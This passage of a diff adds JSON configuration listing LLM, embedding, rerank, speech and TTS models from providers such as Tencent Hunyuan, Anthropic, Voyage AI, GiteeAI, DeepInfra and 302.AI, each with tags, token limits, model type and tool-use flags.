+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yi-large-rag",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yi-large-fc",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "yi-large-turbo",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yi-large-preview",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yi-vision",
+ "tags": "LLM,CHAT,IMAGE2TEXT,16k",
+ "max_tokens": 16384,
+ "model_type": "image2text"
+ }
+ ]
+ },
+ {
+ "name": "Replicate",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Tencent Hunyuan",
+ "logo": "",
+ "tags": "LLM,IMAGE2TEXT",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "hunyuan-pro",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "hunyuan-standard",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "hunyuan-standard-256K",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 262144,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "hunyuan-lite",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 262144,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "hunyuan-vision",
+ "tags": "LLM,IMAGE2TEXT,8k",
+ "max_tokens": 8192,
+ "model_type": "image2text"
+ }
+ ]
+ },
+ {
+ "name": "XunFei Spark",
+ "logo": "",
+ "tags": "LLM,TTS",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "BaiduYiyan",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Fish Audio",
+ "logo": "",
+ "tags": "TTS",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Tencent Cloud",
+ "logo": "",
+ "tags": "SPEECH2TEXT",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Anthropic",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "claude-opus-4-1-20250805",
+ "tags": "LLM,CHAT,IMAGE2TEXT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-opus-4-20250514",
+ "tags": "LLM,CHAT,IMAGE2TEXT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-sonnet-4-5-20250929",
+ "tags": "LLM,CHAT,IMAGE2TEXT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-sonnet-4-20250514",
+ "tags": "LLM,CHAT,IMAGE2TEXT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-7-sonnet-20250219",
+ "tags": "LLM,CHAT,IMAGE2TEXT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-5-sonnet-20241022",
+ "tags": "LLM,CHAT,IMAGE2TEXT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-5-haiku-20241022",
+ "tags": "LLM,CHAT,IMAGE2TEXT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-haiku-20240307",
+ "tags": "LLM,CHAT,IMAGE2TEXT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "Voyage AI",
+ "logo": "",
+ "tags": "TEXT EMBEDDING, TEXT RE-RANK",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "voyage-3-large",
+ "tags": "TEXT EMBEDDING,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-3.5",
+ "tags": "TEXT EMBEDDING,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-3.5-lite",
+ "tags": "TEXT EMBEDDING,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-code-3",
+ "tags": "TEXT EMBEDDING,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-multimodal-3",
+ "tags": "TEXT EMBEDDING,Chat,IMAGE2TEXT,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-large-2-instruct",
+ "tags": "TEXT EMBEDDING,16000",
+ "max_tokens": 16000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-finance-2",
+ "tags": "TEXT EMBEDDING,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-multilingual-2",
+ "tags": "TEXT EMBEDDING,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-law-2",
+ "tags": "TEXT EMBEDDING,16000",
+ "max_tokens": 16000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-code-2",
+ "tags": "TEXT EMBEDDING,16000",
+ "max_tokens": 16000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-large-2",
+ "tags": "TEXT EMBEDDING,16000",
+ "max_tokens": 16000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-2",
+ "tags": "TEXT EMBEDDING,4000",
+ "max_tokens": 4000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-3",
+ "tags": "TEXT EMBEDDING,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "voyage-3-lite",
+ "tags": "TEXT EMBEDDING,32000",
+ "max_tokens": 32000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "rerank-1",
+ "tags": "RE-RANK, 8000",
+ "max_tokens": 8000,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "rerank-lite-1",
+ "tags": "RE-RANK, 4000",
+ "max_tokens": 4000,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "rerank-2",
+ "tags": "RE-RANK, 16000",
+ "max_tokens": 16000,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "rerank-2-lite",
+ "tags": "RE-RANK, 8000",
+ "max_tokens": 8000,
+ "model_type": "rerank"
+ }
+ ]
+ },
+ {
+ "name": "GiteeAI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,IMAGE2TEXT,SPEECH2TEXT,TEXT RE-RANK",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "ERNIE-4.5-Turbo",
+ "tags": "LLM,CHAT",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "ERNIE-X1-Turbo",
+ "tags": "LLM,CHAT",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "DeepSeek-R1",
+ "tags": "LLM,CHAT",
+ "max_tokens": 65792,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "DeepSeek-V3",
+ "tags": "LLM,CHAT",
+ "max_tokens": 65792,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-235B-A22B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-30B-A3B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-32B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-8B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-4B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-0.6B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "QwQ-32B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "DeepSeek-R1-Distill-Qwen-32B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 65792,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "DeepSeek-R1-Distill-Qwen-14B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 65792,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "DeepSeek-R1-Distill-Qwen-7B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 65792,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "DeepSeek-R1-Distill-Qwen-1.5B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 65792,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen2.5-72B-Instruct",
+ "tags": "LLM,CHAT",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2.5-32B-Instruct",
+ "tags": "LLM,CHAT",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen2.5-14B-Instruct",
+ "tags": "LLM,CHAT",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2.5-7B-Instruct",
+ "tags": "LLM,CHAT",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2-72B-Instruct",
+ "tags": "LLM,CHAT",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen2-7B-Instruct",
+ "tags": "LLM,CHAT",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "GLM-4-32B",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "GLM-4-9B-0414",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "glm-4-9b-chat",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "internlm3-8b-instruct",
+ "tags": "LLM,CHAT",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Yi-34B-Chat",
+ "tags": "LLM,CHAT",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "ERNIE-4.5-Turbo-VL",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 4096,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen2.5-VL-32B-Instruct",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 32768,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2-VL-72B",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 4096,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Align-DS-V",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 4096,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "InternVL3-78B",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 32768,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "InternVL3-38B",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 32768,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "InternVL2.5-78B",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 32768,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "InternVL2.5-26B",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 16384,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "InternVL2-8B",
+ "tags": "LLM,IMAGE2TEXT",
+ "max_tokens": 8192,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen2-Audio-7B-Instruct",
+ "tags": "LLM,SPEECH2TEXT,IMAGE2TEXT",
+ "max_tokens": 8192,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "whisper-base",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 512,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "whisper-large",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 512,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "whisper-large-v3-turbo",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 512,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "whisper-large-v3",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 512,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "SenseVoiceSmall",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 512,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-Reranker-8B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 32768,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-Reranker-4B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 32768,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-Reranker-0.6B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 32768,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-Embedding-8B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 8192,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-Embedding-4B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 4096,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen3-Embedding-0.6B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 4096,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "jina-clip-v1",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "jina-clip-v2",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 8192,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "jina-reranker-m0",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 10240,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "bce-embedding-base_v1",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "bce-reranker-base_v1",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "bge-m3",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 8192,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "bge-reranker-v2-m3",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 8192,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "bge-large-zh-v1.5",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 1024,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "bge-small-zh-v1.5",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "nomic-embed-code",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "all-mpnet-base-v2",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ }
+ ]
+ },
+ {
+ "name": "Google Cloud",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "HuggingFace",
+ "logo": "",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "GPUStack",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,TTS,SPEECH2TEXT,TEXT RE-RANK",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "DeepInfra",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,TTS,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "moonshotai/Kimi-K2-Instruct",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/Voxtral-Small-24B-2507",
+ "tags": "SPEECH2TEXT",
+ "model_type": "speech2text"
+ },
+ {
+ "llm_name": "mistralai/Voxtral-Mini-3B-2507",
+ "tags": "SPEECH2TEXT",
+ "model_type": "speech2text"
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-R1-0528-Turbo",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Qwen/Qwen3-235B-A22B",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Qwen/Qwen3-30B-A3B",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Qwen/Qwen3-32B",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Qwen/Qwen3-14B",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-V3-0324-Turbo",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/Llama-4-Maverick-17B-128E-Instruct-Turbo",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/Llama-4-Maverick-17B-128E-Instruct-FP8",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/Llama-4-Scout-17B-16E-Instruct",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-R1-0528",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-V3-0324",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/Devstral-Small-2507",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/Mistral-Small-3.2-24B-Instruct-2506",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/Llama-Guard-4-12B",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Qwen/QwQ-32B",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "anthropic/claude-4-opus",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "anthropic/claude-4-sonnet",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemini-2.5-flash",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemini-2.5-pro",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemma-3-27b-it",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemma-3-12b-it",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemma-3-4b-it",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "hexgrad/Kokoro-82M",
+ "tags": "TTS",
+ "model_type": "tts"
+ },
+ {
+ "llm_name": "canopylabs/orpheus-3b-0.1-ft",
+ "tags": "TTS",
+ "model_type": "tts"
+ },
+ {
+ "llm_name": "sesame/csm-1b",
+ "tags": "TTS",
+ "model_type": "tts"
+ },
+ {
+ "llm_name": "microsoft/Phi-4-multimodal-instruct",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-R1-Distill-Llama-70B",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-V3",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/Llama-3.3-70B-Instruct-Turbo",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/Llama-3.3-70B-Instruct",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-4",
+ "tags": "LLM,CHAT",
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "openai/whisper-large-v3-turbo",
+ "tags": "SPEECH2TEXT",
+ "model_type": "speech2text"
+ },
+ {
+ "llm_name": "BAAI/bge-base-en-v1.5",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-en-icl",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-large-en-v1.5",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-m3",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-m3-multi",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "Qwen/Qwen3-Embedding-0.6B",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "Qwen/Qwen3-Embedding-4B",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "Qwen/Qwen3-Embedding-8B",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "intfloat/e5-base-v2",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "intfloat/e5-large-v2",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "intfloat/multilingual-e5-large",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "intfloat/multilingual-e5-large-instruct",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "sentence-transformers/all-MiniLM-L12-v2",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "sentence-transformers/all-MiniLM-L6-v2",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "sentence-transformers/all-mpnet-base-v2",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "sentence-transformers/clip-ViT-B-32",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "sentence-transformers/clip-ViT-B-32-multilingual-v1",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "sentence-transformers/multi-qa-mpnet-base-dot-v1",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "sentence-transformers/paraphrase-MiniLM-L6-v2",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "shibing624/text2vec-base-chinese",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "thenlper/gte-base",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "thenlper/gte-large",
+ "tags": "TEXT EMBEDDING",
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "302.AI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,TEXT RE-RANK,IMAGE2TEXT",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "deepseek-chat",
+ "tags": "LLM,CHAT",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4o",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "chatgpt-4o-latest",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "llama3.3-70b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-reasoner",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.0-flash",
+ "tags": "LLM,CHAT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-7-sonnet-20250219",
+ "tags": "LLM,CHAT",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-7-sonnet-latest",
+ "tags": "LLM,CHAT",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3-beta",
+ "tags": "LLM,CHAT",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3-mini-beta",
+ "tags": "LLM,CHAT",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1",
+ "tags": "LLM,CHAT",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o3",
+ "tags": "LLM,CHAT",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o4-mini",
+ "tags": "LLM,CHAT",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-235b-a22b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "qwen3-32b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "gemini-2.5-pro-preview-05-06",
+ "tags": "LLM,CHAT",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "llama-4-maverick",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-flash",
+ "tags": "LLM,CHAT",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-sonnet-4-20250514",
+ "tags": "LLM,CHAT",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-opus-4-20250514",
+ "tags": "LLM,CHAT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-pro",
+ "tags": "LLM,CHAT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "jina-clip-v2",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 8192,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "jina-reranker-m0",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK",
+ "max_tokens": 10240,
+ "model_type": "rerank",
+ "is_tools": false
+ }
